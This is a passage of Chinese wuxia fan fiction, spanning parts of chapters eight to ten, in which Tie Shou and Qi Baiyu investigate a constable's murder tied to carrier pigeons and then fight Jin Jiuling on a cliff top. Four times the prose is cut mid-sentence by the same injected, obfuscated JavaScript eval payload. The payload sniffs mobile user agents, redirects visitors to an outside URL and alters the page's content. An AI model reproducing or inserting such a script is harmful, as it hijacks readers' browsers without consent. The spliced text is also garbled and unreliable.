“铁二爷有所不知,鸽子每日里都是要放飞一段时间的,傍晚自会飞回来。” 铁手奇道:“冬日里也如此?” 那捕快答:“冬日里飞的少,怕在外头冻了饿了,叫猛禽抓了去。但这些鸽子飞惯了,隔上些天,瞅着天气晴好的时候,便会放出去飞一阵子。” 他们说着走入院内,鼻中便传来一股异味,是那鸽子笼皆放在一间侧间内,里面一样烧了炕,以免鸽子冻死冻病。但赵槐身故这些天,没谁顾得上鸽子了,只老母亲每天来撒一把食,却不便收拾打扫。于是鸽子屎尿,积在地上,又经热气一熏,臭气在屋外都能闻得见。引路的捕快面色一变,将他们带进主屋,便拉着屋内原在的另一个男人走了。隔着屋门,听见他低声数落:“懒死你个棒槌!屋子里臭成啥样了,不知道扫,干等着下一个倒霉蛋来是吧?” “嘿,你小样跟着铁二爷过来硬气了是吧,你勤快你自个去扫鸟屎呗?” “去你大爷……” 铁手干咳一声,自我介绍:“老人家,我名叫铁游夏,这位姑娘叫戚白羽。请问您如何称呼?” 他是试图将目盲的老人注意力引开。但盲人的听力总是比正常人更好些,虽然那两人压低了声音,但老太太明显听见了,她那张瘦巴巴的脸上带了局促:“唉,老给人添麻烦……” “哪里,您别放在心上,来时还听钱捕快提到,逢年过节大伙桌上能多得半碗肉,还多亏了这几笼鸽子,个个心里感念着呢。”铁手温言道,慢慢伸手握上她的手。 “也养不成了。”老太太的脸上带着苦涩,“我听他们说了,两位大人是从京城来,求求大人还我们一个公道……” 她抖抖索索地下炕要跪,铁手哪里让,双手将她搀住,老人挣不脱他,硬是在炕上挣扎着向他们深深弓身。这模样看得戚白羽心里不舒服,亦不愿受这个礼,她侧身避了这一躬,便没再做声,只是心不在焉地听着铁手与老人交谈。 自她的视角,事情已经大略清楚了:连云寨也养有信鸽,她知道即使是训得再好的信鸽,也有可能在鸽群中迷路——尤其是一只寒冷疲倦的鸽子。想必赵槐打理鸽子时,一眼发现了一只不属于他的鸽群的、身价昂贵的信鸽,于是给暂居此地的金大人送去。 他也许看了那鸽子腿上的信,也许没看,但是金九龄知道他有可能拆看过自己的信件,便绝不会放过他。以金九龄的名气,他可以很轻松地把不设防的赵槐约到偏僻之地,也可以很轻松地杀了他。然后,他便可以将赵槐的尸体埋在雪中,混淆死亡时间,等待栽赃嫁祸的时机。等到时机一至,他便带人搜山,指挥众人分头行动,借机将尸体转移位置,再抹平尸身上方的雪地,还原出她和铁手的脚印。 不过,即使埋在雪中,能够延缓腐烂的时间也必然是有限的,刚刚死去的尸体和死去五六天的尸体,不论怎么保存都会出现不同。金九龄那时已经知道她和铁手不久就会来到这里吗?他收到的那封信,莫非就是在汇报她二人行踪? 铁手一定能想到这一层关系,诸葛神侯府上同样豢养信鸽。但是——江湖上养信鸽的人和势力太多了。她要如何说服他,如何让他相信是金九龄下的手? ……她自己尚且不想活,又如何想办法叫他活下来? 她忽然意识到这一点,在心中暗暗地叹了口气,一时意兴索然。 在她思量之时,铁手那厢向老人问了一番话,戚白羽一听便知,这些话一定是已经被反复地问起、反复地讲起,以至于在真情的悲痛中已经染上了某些习惯的、流利的痕迹。她絮絮回答:赵槐失踪那日很正常地出门了,没有同她多说什么;没有仇家、没有情敌、没有债务往来;家中鸽子没听他提起有什么异样……放飞?是,赵槐失踪那日下了大雪,前一日是雪前难得的晴好天气,那日他曾放鸽群在外飞过…… 铁手偏头与戚白羽对视一眼,同她轻轻一点头。然后他扯开话题,同她又细细问了许久,直问到戚白羽觉得,这老人家多半都已忘了话题中曾提到过鸽子,他才结束了攀谈,又同老人告罪,道要在房中查看一番。 戚白羽道:“你看屋内,我去看看屋外。” 铁手自然答应下来,于是他转去赵槐生前卧房,戚白羽转身出了门,很快身后追出来脚步声,是引他们来这儿的那名捕快放下手中活计,跟了出来。她转身看了看他,那捕快面上表情很是客气,脚步却一点不停,很明显是要跟定了她。 有金九龄和四大名捕两重作保,他们似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416063|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎对铁手已经没有半点怀疑,于是在这些捕快眼中,她自己自然便成了唯一的嫌疑人——不过,她当了这许多年的土匪头子,被捕快看不顺眼不是新奇事。她任由对方缀在后面,稍稍运起轻功,在周围一片转了转。 在约定好的地方,她看见一条被踏过的小道,料来是当日上山时众多捕快踩踏出来,这些天里不曾落雪,又有农人上山砍柴,在雪地里踩得一片狼藉,周遭亦有枯草灌木散落。其中一丛看似乱搭的枯枝隐约摆出她眼熟的记号——与连云寨不够相熟的人绝对看不出来,因那是两个印记叠在一起,显得无比杂乱。其中一个记号代表着“一切顺利、安全”,另一个则是“援军”的记号,隐隐指向山北。 她不动声色,经过附近的时候,随意踩踏一脚,将枯枝踩乱。 不多时铁手出门来,两方汇合,铁手先道:“赵槐屋中,并未发觉任何不寻常处,至少他遇害之处一定不是家中。” 戚白羽指点周遭道路,道:“赵槐去县衙当值,应当是顺着主路一路向西而去,若要去发现尸体的那座山,却要在出门不远处便折而向北,非但不顺路,甚至要绕一个大弯子。” 铁手一点就通,道:“他那日一如往常般出门,如果要先去山脚下,是决计来不及按时当值的。料来他并非在山下遇难,我们沿他当值那条路,在周围走一遍如何?” 戚白羽点了点头,问那捕快道:“如何,如今有铁二爷看着我了,你也可以放心回去跟金九龄汇报了吧?” 那捕快脸上一僵,铁手忙在旁笑道:“如今我们两个一道行动,也可互相照应。料来这些天内镇上公事繁忙,我们识得回去的路,便不麻烦钱兄了。” 钱捕快尴尬地犹豫片刻,大约也是想到以他水平,跟着两人也无所能为,只好答应下来。三人就此作别,钱捕快独自回镇,铁手和戚白羽则拐入道旁山林。 赵槐身死那日下着大雪,一直下到第二天,有什么痕迹必定都给掩盖掉了。但他的尸身很可能从身死之处被掘出来,重新掩埋过,这中间能供凶手转移的时间不算多,仓促之间或许会留下蛛丝马迹。铁手察看附近地形,姑且划定了从发现尸身的山脚到西边沿路的山林这一片区域,两人便慢慢行在林间,观察雪上痕迹。 “多谢你给我面子,戚姑娘。”入了林中,人声隔绝时,铁手向她谢道,“钱捕快与赵槐一向交好,赵槐遭遇不幸,他心中很是难受,看谁都像凶手,如有冒犯,请你宽宥一二。” 戚白羽道:“看谁都像凶手么?他只看我像凶手吧?” 铁手道:“岂能要求人人都如你一般,看得破身外虚名?清者自清,案情水落石出时,他自然便明白。” 这些话换给别人说,便奉承得太明显,只教人生厌。但铁手生就这样一种神奇的本领,自他嘴里说出来的话好像句句都那么真诚,每一个字都发自内心。他便带着这样世间罕见的真挚说:“至少我完全相信,你不会是凶手。” 戚白羽忍不住扭头看了他一眼。 她应该为此松一口气:她本来就是要取信于他的,如果不用她劝说,铁手自己想通了,自然再好不过。但这句话来得太轻易又太真诚,教她反而隐约感到荒唐,甚至还有她自己都说不明由来的一丝恼怒:他的信任是这样廉价的东西吗? “为什么?”她问。 8. 第八章 铁手眨了眨眼,笑道:“因为我是追踪你而来。因此,我知晓你行迹,你却不知晓我的,此时该是我向你证明自己清白才对。我既拿不出力证,你却依然信我,我岂有不信你之理?” 戚白羽沉默片刻,叹了口气,道:“你对随便哪个人,都是如此么?” 铁手道:“正是。怎么?” 戚白羽道:“那你武功要很高,才能活到现在。” 铁手大笑起来,道:“我刚刚惨败于楚相玉手下,戚姑娘说这话,岂非在奚落我。” 戚白羽道:“败于楚相玉,倒不丢人。” “说得也是。” 他们聊完这几句,又静默下来,各自向周围雪间寻觅踪迹。不过,经过两日,雪化了一些、风吹落了一些、林间鸟兽又踩踏过一些,许多痕迹间,其实并不能真正发现什么。 至少,戚白羽并不知道自己在找什么,不过她对查访踪迹并非内行,却不知道铁手这等名捕又能在林中发现什么了。 又或者,铁手只是配合她进入了这样一个偏僻的、隔绝的环境——但他有什么理由配合她呢? 他们在林中走了一阵、寻了一阵,近午时分,渐渐从一无所获的道边树林靠近了山脚下,又沿着当日的山路向山上行去,于是人迹愈少,逐渐地再也不闻人声。 “戚姑娘。”铁手叫她,“我心中有惑,可以请你解答我一个问题吗?” “你说,但我不一定回答。” “我在追捕楚相玉时,便在想着这个问题。楚相玉已经入狱近二十年,我翻阅卷宗,这些年间,前前后后,他的部属家臣,近百人为营救他而死。为什么这样多的人在他入狱后,依旧追随?”铁手问,“因为楚相玉于他们有恩?” “有些人的确是始终念着恩情,但或许更多人是因为,他们梦想着一个明君雄主。”她淡淡地说。 “那你是哪种呢?” “我两者皆非。” “那么,恕我冒昧一问:如果你并不认同楚相玉,为何还要力阻追兵,助他逃亡呢?” 她奇怪地瞥了他一眼:“连云寨中兄弟,除了大哥有意相助楚相玉,其他人都跟他没什么干系。为什么大家要出力助他逃亡?当然只因为大哥有令。” 铁手像是被这个回答噎了一下,他无奈地笑了笑。戚白羽挑眉问:“怎么,你不信吗?” 铁手极短暂地停了一下,仿佛在思考措辞。而后他答:“我以为,戚姑娘心如金石,倘不得你认同,戚寨主也很难命令得动你。” “大哥将我养大,于我恩重如山。他只是要我尽力阻拦追兵,我没有拒绝的道理。” 铁手道:“你若是只为戚寨主命令,那便是你自己并不认同楚相玉了?” 戚白羽听得出他在试探,但没有回应这句话,甚至不曾多看他一眼。她语气平平常常,道:“那又如何。你不认同皇帝,不也一样在为他做事?” 这一问实在是过于尖锐直率,铁手一时只有苦笑而已:如果换个场合,这简直是可以让他掉脑袋的话。可是,正因为她如此直指本质,在这个只有他们两人的山林间,在昏暗的阴云和败枝残雪之间,他无法以圆滑的言辞回避。 “不要同我说什么奸臣蒙蔽、什么良言劝谏。”她犹嫌不足似的,更进一步堵死了他的说辞,“劝谏对当今这位皇帝有没有用,你比我清楚。” 一时间,攻守之势顿异。铁手无奈道:“那戚姑娘以为,还有什么别的办法?组织义军,掀起反旗,推举楚相玉、或者别的什么人当皇帝么?——也许的确许多百姓受到贪官恶人的欺压,也许的确有许多地方民不聊生,但这世间,还没有到百姓活不下去,要一怒而反的地步。若是真出现了一支义军,也未必会一呼百应,只是与官府不断交战,将原本还能勉强活命的百姓卷入战火,将无辜的士兵送去彼此砍杀牺牲,重演五代十国故事。一个朽坏的秩序,也好过全然没有秩序的混战。” “因此你们所做的,就是在这个朽坏的秩序上东修西补,四处救火?可是首恶不除,你们奔走救火,能救得几人?” “救得一个是一个,救得一日是一日。哪怕我们只能救得一两人、救得一两日,也有意义。” “如果以诸葛神侯之位,以你们之才,只能做这样一些救一两人的事情,那么彻底的毁灭,最终是难以避免的。”戚白羽说。 “从古至今的每一个朝代都会走向覆灭。在那之前,我们若能让一些人多过几日太平日子,那么这几天也是珍贵的。” 戚白羽自嘲地冷笑了一下。 “这是一个傲慢的回答。”她说,“对于有些人而言,每一个今日,并无分别,也并不可贵。这世上有些人只是为了一个虚无缥缈的未来而活——如果这个未来被否定了,今日的意义在何处?” 铁手认真地思量了片刻。 “你说得对,我不曾亲历过这样的感受,因此若要我来回答,仍会是个傲慢的回答。我无法答复你。但是,戚姑娘,你不是在同我们做着一样的事吗?” 戚白羽蓦然抬眼,目光如沉潭寒铁,冷光烁烁。铁手坦然地与她对视:“我以查案救人,你以杀人救人。归根结底,我们仍是同路人。” “你说得好像很了解我。” “了解一个敌人,或许很难。了解一个同道中人,有时甚至不必交谈,看她做的事情就够了。” 他们正踏过那一日交手的地方,往左一步,便是戚白羽那日佯作跌下山的地方。这一座孤峰之中,只有这一小片地方,正毫无遮拦地沐浴正午的微弱日光。 “你怎么知道我是你的同道中人?” “因为,那日在我们与楚相玉交战的林中,你本可以不射前几支箭。你本可以不必救时将军、伍老寨主、沈云山……和我。但你明知我们不会有人知晓你的救命之恩,依旧出手救了人。” 戚白羽面色微微地变了一变,她停下脚步,站定了。铁手也站住脚步,向她转来,他的姿态十分放松,空门大开,看起来完全不像要与她动手。 “你的手上有弓箭留下的茧。”铁手说,“你拦阻金九龄所率的追兵,他输阵后如约在原地停留三日,你并未全程看守,只要你在最后一日提前片刻离开,便完全赶得上我们与楚相玉的决战。我先前追踪凶手时,从未想到你,是因为觉得你不会杀楚相玉——但后来我才忽然醒悟,你是连云寨的人,不等于你一定不想杀楚相玉。一旦想通这点,所有的线索便豁然开朗了。 “因此,我信你不是杀赵槐的凶手——十一月十六日早晨,赵槐离家未归,十七日众人发现他失踪,十八日凌晨发现遗体。根据遗体情况算来,他最早死于十六日早晨,最晚不过十七日午间。那时,你刚在黄河岸边杀完人,决计不可能赶来此地。” 戚白羽愣了一愣,兀地大笑一声。 “你居然是世上头一个想得到,我会想杀楚相玉的人。”她说。 又何须再试探、再交锋?他已经一次又一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416064|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付出信任,她也没法再要求更多。 她说:“很好。那么我不妨告诉你,金九龄想杀你。” “我知道。”铁手静静地说,“戚姑娘可知道,为何是我?” 戚白羽不知道他是如何知晓金九龄打算投效傅宗书的,她也不在乎。但是这个问题,她刚好明白答案:“因为他在投入六扇门之前,是楚相玉的亲卫出身。他想为楚相玉报仇。” - 金九龄登上山顶的时候,正当午时,天色却反而更暗。厚重的阴云低垂下来,把对面的峰顶都遮了一半,站在山顶,会觉得随时要被沉下来的乌云淹没。戚白羽站在雾气与层云之间,身影几乎融在远处的云中,在她脚边,铁手被点了周身穴道,倚在石上。 “你还真是准时。”她淡淡地说。 金九龄微笑道:“怎么能让女孩子把脏活累活全做了呢?” 他今日依旧打扮得十分精致,锦衣玉带,翩翩脱俗,没有人能承认他不算赏心悦目。也许世上只有戚白羽,看到他时,眉头反而皱得更紧。她转回身来,踏前一步,隐隐地把铁手拦在了自己身后。 “在等你的时候,铁手同我说了一个很离奇的故事。”她说。 “哦?不妨让我一听。”金九龄展扇笑道。 “他说,近来江湖上有一位绣花大盗,横空出世。那绣花大盗武器是一根绣花针,手中拿着绣帕,很可能是个身材高挑的女子,假扮作男人……” 她凝视着金九龄,缓缓道:“这个男人或者女人,内力深厚,轻功高强,北方口音,刺瞎的人,包括镇远镖局的副总镖头常漫天、平南王府的总管江重威、华玉轩的主人华一帆……恰巧都是楚相玉尚未被抓进铁血大牢时,为官府提供过情报,或是协助官军追捕过他的人。更巧的是,在楚相玉逃狱之前、身死之后,此人都有出手,偏偏我在连云寨露面那些日子里,这绣花大盗便销声匿迹了。” 金九龄微微一笑,道:“我可真是意外。” 戚白羽一挑眉,金九龄续道:“我原以为,你可不会中这样简陋的离间计。” 戚白羽道:“既然如此,我还有个问题要问你。” 金九龄笑道:“请讲。” 戚白羽道:“说来,金大捕头如今身上并无案子,为什么会出现在这个偏僻的小镇上呢?你我之间知道,你是要来杀铁手,但你对外,又是什么借口?” 她缓缓道:“难道说,你是来追捕绣花大盗的么?” 只有风声的山顶上猛地一声巨响,却是两人毫无征兆,忽然猛地向对方出手,双掌交击,掀起的气浪让山风都停止了一瞬。 “你来找我谈条件,劝我投靠傅宗书的那一夜,就已经决心杀我。否则,你没有必要再让‘绣花大盗’出一次手,好栽赃给我。”戚白羽冷冷地说,“为什么?” “因为那一夜,我翻窗进你房间的时候,看见了墙上不及收起的弓。”金九龄缓缓道,“我看过楚相玉的尸身,也看到射中他的那一箭。很容易猜到是你出的手。” 戚白羽嘲讽道:“我竟不知你和楚相玉有这般深情厚谊。” “我不否认,我对他寄予过期望,以至于我已投身朝廷数十年,依旧愿意为他网开一面。”金九龄叹息道,“但是,世上其他人都能杀楚相玉,唯独不能是你。你既杀了他,我便无法再相信你这等心肠狠毒之辈。” “金九龄,你要杀我,不必扯这些冠冕堂皇的借口。”她嗤笑道,“不妨出手!” 9. 第九章 只一瞬间,两道身影骤然拔地而起,如同一道虹光和一道电光对撞,从中绽出一道雷音! ——不,那不是雷音,若是细听便能分明,那是指掌相击之间无数次爆鸣的脆响,如同鞭炮,如同冰雹,过于细密的交击融合成一声漫长而宏亮的震荡,这团光影的周围,枝叶摇荡,积雪纷落。 声音消弭的同时,两道身影又蓦地分开。戚白羽左手小臂染出一片红色,滴滴鲜血顺着指尖落向雪地。而金九龄松开手,他手心折扇,倏地化作万千飞灰,在坠地之前就被卷入山风之中。 他很惋惜似的,叹了口气:“这可是玄妙大师亲手所绘的扇子,这世间也不过只有三把。” 戚白羽冷笑道:“适合给你陪葬!”复又欺身而上,掌心寒意烁烁,仿佛漫山寒意、千里冰雪,都聚于一掌之中。 金九龄挥袖一接,顿将两人卷在一片寒气雪光的旋风之中。他曼声道:“你手刃了楚相玉,倒好意思继续用他所授的掌法内功,来对付你的救命恩人?” 戚白羽冷冷道:“你投靠了傅宗书,尚且有脸面站在这里,我难道还要羞愧不成?” 寒气愈重,交手愈急。仍半躺在地上的铁手忽觉脸上一凉,竟是这一小片山顶的云气,被两大高手的内力所激,缓缓飘下星点雪花来。 初落的新雪又被这一团雪龙卷捕捉、卷入,陷作他们两人交手的一部分。风雪之内仍传来两人的交谈声,只是气息渐乱、语声渐促。金九龄道:“白羽,我看着你长大,救过你性命,竟不知你何时长成这样一个狼心狗肺、无师无父的性子。” 戚白羽道:“江南的绣花大盗,也好意思说旁人狼心狗肺?看我长大更是可笑,难道你不是许多年前便一心一意投靠了皇帝,从前的老兄弟都再不敢扯上关系了?” 金九龄道:“不错,但我却不曾背叛过他们。叫我想想,是陈玉容教了你内功根基的,是不是?她如果还活着,知道你拿她教的内功杀了楚相玉,是什么感觉?” 戚白羽冷声道:“她如果还活着……” 她的声气,却在风雪中猛地顿了一下,仿佛是内力不续。金九龄道:“哦,还有程万龙是教你枪法吧?沈云山教你识字?你的骑射,是段辉教的,还是张青教的?他们一个个的,若是在世,知道你从他们手中骗来了一身本事,却拿这功夫杀了楚相玉,不知道是什么滋味。你竟不觉得于心有愧么?” 到此时,已经只听他在说话,戚白羽不再开口,却是因为已经落到下风。 她纵使修习了楚相玉传下的绝世功法,可内功一道最需要积累,二三十年的修行并非可以轻易抹平的差距,因此在近身攻斗、内力比拼之中,她终究是逐渐陷入劣势。如今她全副精神气力凝聚在对招之上,已无暇再做口舌之争。 金九龄一面拳掌翻飞,格住她疾风般的猛攻,一面继续笑道:“对了,还有戚少商——他也受过楚相玉大恩,他知不知道,他派你去相助楚相玉,结果你却是去取他性命的?” 戚白羽咬牙不答,欺身直前,一掌劈下,金九龄侧身一滑,却只退了三分,她的手掌顺势下劈,喀地一声,击中他的左腿。可趁着她进击之机,金九龄却在同时闪电般击出一掌,正按向她的胸口! 然而,他这势在必得的一击却未得手。眼看掌风已经袭至身前,她的衣襟在内力冲撞下飘动,自他们身侧,却忽地窜起一道身影,接了他这一掌! 如金石交击,轰然鸣响,雪龙卷四散飞射,迸溅成一团狂乱的雪花。从中飞出一个人影,是戚白羽抽身飞退,金九龄对面,却换了一个人。 便是老谋深算如金九龄,在这一刻,也变了脸色。他失色道:“铁手?!” 他奇的并不是铁手此时插进手来,但铁手竟能接下他一掌,则完完全全是漏算一着。 要知道,金九龄当初曾探过他的伤,那等内伤,足以让江湖上的一流高手缠绵病榻。铁手修成神功,内伤恢复极快,金九龄是知道的,但也不过以为,他如今能如常行动,已是恢复神速了。至于与人交手,根本不要想。 谁料到,铁手竟然能与他当面过招! 他心中一沉,却来不及多想,当即双掌连出,将铁手迫退,便要拔身而起,去追击戚白羽。 只是,他晚了一步。 戚白羽向上直飞,瞬间跃至林梢,她足尖一勾,竟从满树枯枝间,挑起一把长弓,握在手中。金九龄方将铁手逼退,她已拈箭在手,开弓如电! 金九龄猛地回身,伸手一抓,五指如钳,捏住了铁手的手臂,硬将他向身前一扯! 铁手毕竟有伤在身,未臻全盛,一时当真被他踉跄拖动几步。戚白羽面色一凛,挽弓疾射,第二支箭矢恰击中第一支的箭尾,擦着铁手的颈侧,双双跌落地面。金九龄冷笑一声,正欲追击,忽地一柄长剑,直刺面前! 剑是青龙剑,握剑的人则是戚少商。 那把剑挟着风雷之势,金九龄身侧有铁手相胁,一时竟避不过,他伸手拈去,剑刃在他指尖向前一滑,直至剑尖刺进手心,才终于停住。金九龄拈着那把剑,一偏一带,身影如同游鱼般滑向了剑锋的一侧,剑身则顺着前刺之势被他抬起,正迎上一根精钢箭矢! 极刺耳的金属振鸣声响起,将金九龄和戚少商都向后推去,但这支箭还未击中目标时,戚白羽已在林梢拈箭又射,金九龄才踉跄后退,第二支箭已经挟风带雪,在此等候! 一声闷哼,一抹泼溅的血迹,金九龄在最后一刻猛地将脚尖一勾,以一个奇异的姿势踢向这支箭,但是他本来内伤未平,内力不稳,又刚被戚少商那一剑中所蕴内力震伤,最后再被内劲交击震开,腿法虽然精妙,惜已内力不继。这一脚倒像是他主动迎上了那根箭,箭矢破开已然衰弱的护体内力,贯穿脚掌,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416065|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一侧刺出。 在戚少商刺出那一剑的时候,金九龄已猛地明白:在他计划着要将铁手和戚白羽一网打尽的同时,她也在给他设下圈套。铁手功力恢复远比他想象的要快,是第一重陷阱;戚少商忽地现身,更是他未曾预料的强敌。 他原本的计划中,戚白羽和铁手联起手来,也不是他的对手,但是此时局势翻转,他面对三人围攻,刻意伤他两条腿,便是为了要将他留下,不容逃脱。 只是他想明白时,双腿皆伤,即使看穿意图,也不再有逃脱的可能。他双目一转,竟弃了身后持剑而刺的戚少商,直扑铁手而去! 在交手的极短暂时间内,他已探得明白,铁手的功力虽然比他想得要快,但也没有神妙到内伤尽复的地步,他如今最多回复五成功力,跟金九龄交手过两三招,已经是耗尽内力,再打下去,绝不是金九龄的对手。 但他很快发现,他没有办法擒下铁手。 身前有青龙剑,头顶有戚白羽发箭相阻,而铁手虽然功力未复,交手经验却丰富得很,他借着戚少商遮掩,抽身疾退,金九龄双腿带伤,几番尝试,都未能摆脱戚少商纠缠。 更叫他心中发沉的是,他被箭射伤的右腿,已渐渐传来麻痹沉重的感觉——显然戚白羽箭上,早淬了毒。金九龄先在交手间被震出内伤,又要调遣内力,压制毒性发作,如此周旋五十余招,他终于还是内力不续,被戚少商一掌拍在肩头,向后抛飞! 他在地上滚了两滚,撑起身时,见戚少商和铁手从悬崖方向围拢过来。戚白羽下一支箭搭在弦上,凝而未发。 在他们身后,林间还有另一个人缓缓走出,越过戚少商,一直走到他身前。 金九龄长长地叹息了一声,他的脸色变得十分难看:“陆小凤,你怎么会在这里?” 他面前,唇上留着两条胡子,看起来仿佛有四条眉毛一般的陆小凤脸色并不比他好很多。他苦笑道:“你们交手时,我已在这里!” 金九龄道:“不可能。我上山时,周遭若有别人,我一定能察觉。” 陆小凤叹道:“我自然知道你的本事。所以,我和戚兄躲得远远的,在你耳力之外。直到我们听见交手的声音,才靠近山顶。” 金九龄的脸色变得更加难看了。他心中知道,这意味着陆小凤并没有听到此前的交谈,只听见了他们战斗中说的那一番话。可是,以陆小凤的聪明,有那一番话,已经够了。 但他仍旧忍不住说了一句很傻的话:“你不该在这里。” “你是不是前些日子收到一次信鸽,说我还在连云寨一带,追踪绣花大盗的线索?”陆小凤幽幽道:“那只鸽子是我放飞的,纸条也是我写下的。只怪你那手下的字太难看了,要仿写难看的字,总是很容易的。” 金九龄以手撑地,转过身来,直面着他,问:“我到底是哪里露出破绽?” 10. 第十章 陆小凤叹道:“五天前,铁兄飞鸽传信与我,告诉我,青田镇的县太爷李鳄泪被杀,你正在追查绣花大盗案,抽不出手。于是,你不得已找上了正在附近的铁兄,拜托他哪怕身负重伤,也务必暂先接下案子。免得傅宗书从京城派来人负责,要在青田镇大搞冤案。” 这正是金九龄计划中,将铁手缠在当地,不教他返京的办法。 陆小凤续道:“按理说,当时我在江南,铁兄在河北,我们数年难得一见,他不该知道你已经把案子交给了我,我也不该知道你对他说了这一番话。你却没料到的是,铁手消息灵通,他偏偏就知道我正在追查绣花大盗案的事情。” 金九龄面上露出苦笑来。 以铁手这等名捕的敏锐,他已经知道金九龄把这案子移交了陆小凤,立刻便会意识到,金九龄在这样遥远的地方,再利用这个借口,其中一定有问题。 陆小凤叹道:“于是,我悄悄动身,北上来找他汇合。而你那鸽子,养得也太好了。金九龄用的信鸽,自然也是世间第一流的鸽子了?” 金九龄道:“是。” 陆小凤道:“所以,我一见到那只鸽子,便知道它不该出现在这个小村落里。我立刻便擒下了它,看了它脚上的信,又暗中替换。只是,我却不知道,被我捉到又放出的鸽子迷了方向,竟随着本地鸽群飞落了一名捕快家中,平白教他送了性命。” 金九龄问:“可你在这个偏僻地方,去哪里找了轩墨阁的信笺和江南楚家的徽墨?” 戚少商冷冷道:“我带的。我妹子独身一人,悄然离寨,你以为我竟不会发觉么?” 金九龄道:“她杀了楚相玉,你还如此回护于她?” 戚少商道:“那又如何?” 金九龄忽然冷笑起来。他冷笑道:“很好,就算你们能证明,绣花大盗不是戚白羽,可是,你们也没有任何理由证明,绣花大盗是我!你们要将我格杀于此,罪名是什么?投靠傅宗书?铁手,你去殿前说一说这番话,看皇帝承不承认这是一桩死罪?” 他的笑容里带着恶意,抬起头来,一一扫视陆小凤、铁手、戚少商,最后落到戚白羽身上,问:“私杀朝廷命官这罪名,到底是由你们哪一位来背?” 铁手道:“你明明方才已经承认……” 金九龄道:“承认什么?承认我是绣花大盗么?笑话,我何时承认过?我只见到真正的绣花大盗,同朝廷捕快勾结,来陷害我罢了!我身在公门几十年,没有做过一件贪赃枉法的事,你们说我是绣花大盗,有谁会信?” 四人面面相觑,戚少商不以为然,但铁手和陆小凤的脸上都露出为难的神色。只有戚白羽擎着弓,淡淡道:“有谁会信?只要皇帝一个人信,也就够了。” 她手一松,一箭射向金九龄眉心! 在旁的铁手和陆小凤不约而同地出手,下意识地想要拦下那支箭。戚少商扬手一剑,刺向铁手,迫得他转身回防,陆小凤却一跃而起,手腕一翻,将那支箭轻轻地拈在两指之间。尽管它足以贯穿墙壁、击碎钢铁,在陆小凤的双指之中,却显得轻若无物,就好像他只是拈住了一片落花。 但在这一刻,一直瘫坐在地的金九龄却猛地一扬手,一大片银光,猛地射向陆小凤! 此时两人相距,不过一步之遥,更兼陆小凤为了接箭,正跃身半空,根本无从借力闪躲。铁手和戚少商不约而同地惊呼出声,弃了前招,跃向陆小凤的方向! 他们两人扑向陆小凤,悬崖方向,登时空出一片。金九龄蛇一样贴着地面,从铁手和戚少商让出的空隙间窜出,向崖外一跃! 这一瞬间,这一片极小的悬崖被分割为两个战场:在西侧,陆小凤掷出手中那支箭,在空中忽然拧身一滚。 铁手的掌风和戚少商的青龙剑几乎是擦着他的肚皮飞过。伴随着他两只脚重新落到地面,是暴雨般的乱声:大约有一百根针被铁手的掌风吹飞,又有一百根针被青龙剑斩落,陆小凤的两只手交叉护在身前,每一根指缝之间,密密麻麻,也不知夹住了多少根针。 他看起来没有受伤,但表情变得很奇怪、很伤心,就好像眼看着一个好友,突然变成了一个怪物。 在悬崖的东侧,追着金九龄飞过的是一支箭。 场上只有戚白羽没有被金九龄的突然袭击吸引了目光,金九龄扑向悬崖,她的箭也随之而至。金九龄双腿虽伤,这一刻的速度却分毫不慢,他在崖边脚跟一旋,一挥袖将那支箭击飞,箭矢和紧跟而来的下一支箭相撞,精钢铸成的两箭双双从中劈开,裂作两半。金九龄一个翻身,向悬崖下方扑落。 戚白羽毫不犹豫,从树上电射而出,跃下悬崖! 这一次她没有展开衣袖兜风,她衣物紧贴着肢体,身子绷得笔直,将自己作一支离弦的箭,直直地向着崖下射落。在她下方,展开衣袍的金九龄回望一眼,脸上露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416066|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出些许惊容。 风声在她耳边呼啸而过,几乎让她感到一点极微弱的快意。她持弓在手,拈箭便射! 